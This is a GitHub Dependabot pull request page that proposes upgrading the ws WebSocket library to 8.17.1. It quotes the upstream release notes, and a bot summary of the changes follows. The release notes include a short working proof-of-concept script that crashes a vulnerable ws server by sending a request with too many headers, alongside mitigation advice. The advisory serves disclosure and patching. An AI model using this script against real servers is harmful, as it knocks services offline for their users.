brave / store-brave-com

https://store.brave.com
Mozilla Public License 2.0
10 stars 2 forks source link

chore(deps): bump ws from 8.16.0 to 8.17.1 #225

Closed dependabot[bot] closed 5 months ago

dependabot[bot] commented 5 months ago

Bumps ws from 8.16.0 to 8.17.1.

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0;

for (let i = 0; i < chars.length; i++) { if (count === 2000) break;

for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}

}

headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13';

const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port });

request.end(); });

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • b73b118 [dist] 8.17.0
  • 29694a5 [test] Use the highWaterMark variable
  • 934c9d6 [ci] Test on node 22
  • 1817bac [ci] Do not test on node 21
  • 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
  • e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
  • Additional commits viewable in compare view


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/brave/store-brave-com/network/alerts).
github-actions[bot] commented 5 months ago

[puLL-Merge] - websockets/ws@8.16.0..8.17.1

Description

This pull request makes a variety of changes to the codebase, focusing on improving code quality, updating test cases, and enhancing performance. Key updates include:

  1. Removal of .eslintrc.yaml and the addition of eslint.config.js to manage ESLint configurations.
  2. Compatibility improvements for Node.js 22.
  3. Updates to documentation for clarity and correctness.
  4. Addition of a funding configuration for Ethereum addresses.
  5. Code refactoring and cleanup, including handling async events and maintaining random pool for performance boost.
  6. Numerous tests have been added or refined for better coverage and reliability.
  7. Version bump from 8.16.0 to 8.17.1.

Possible Issues

  1. The removal of queueMicrotask shim and replacing it with setImmediate could have performance implications, especially in environments where setImmediate and process.nextTick have slightly different behavior.
  2. Change in default behavior of allowSynchronousEvents to true might affect current users who rely on the default being false.

Security Hotspots

  1. Handling Upgrade Headers:

    • Changes made to error handling for invalid or undefined Upgrade headers need careful review. Any incorrect handling can expose the server to potential vulnerabilities.
    • Added test cases specifically for when the Upgrade header cannot be read or is invalid, ensuring that the server responds with the correct error.
  2. Random Pool Management:

    • Managing the randomPool and its usage requires scrutiny to ensure there are no vulnerabilities related to the generation of mask keys for WebSocket frames, which is critical to securing communications.
Changes ### Changes #### Configuration and Documentation - **`.eslintrc.yaml`** - Deleted in favor of `eslint.config.js`. - **`.github/workflows/ci.yml`** - Updated to include Node.js version 22. - **`FUNDING.json`** - Added file to include an Ethereum address. - **`README.md`** - Corrected grammar and punctuation for better clarity. - **`SECURITY.md`** - Added missing commas for grammatical correctness. #### Code Files - **`eslint.config.js`** - New file for ESLint configuration. - Includes rules for ECMAScript modules, specific globals, and custom ESLint rules. - **`lib/receiver.js`** - Removed `queueMicrotask` shim. - Changed async event handling using `setImmediate`. - **`lib/sender.js`** - Added random pool management for mask generation. - **`lib/websocket-server.js`** - Enhanced error handling for undefined or invalid `Upgrade` headers. - **`lib/websocket.js`** - Updated default values and adjusted connection handling. #### Package and Tests - **`package.json`** - Increased version number to `8.17.1`. - Updated dependency versions, especially `eslint`. - **`test/*`** - Added and adjusted multiple test cases to cover newly introduced changes and edge cases. - Improved handling of asynchronous event tests. These changes aim to enhance the existing codebase, ensuring better performance, compliance with recent Node.js versions, and improved code standards and security handling.
AlanBreck commented 5 months ago

@dependabot rebase

dependabot[bot] commented 5 months ago

Looks like ws is up-to-date now, so this is no longer needed.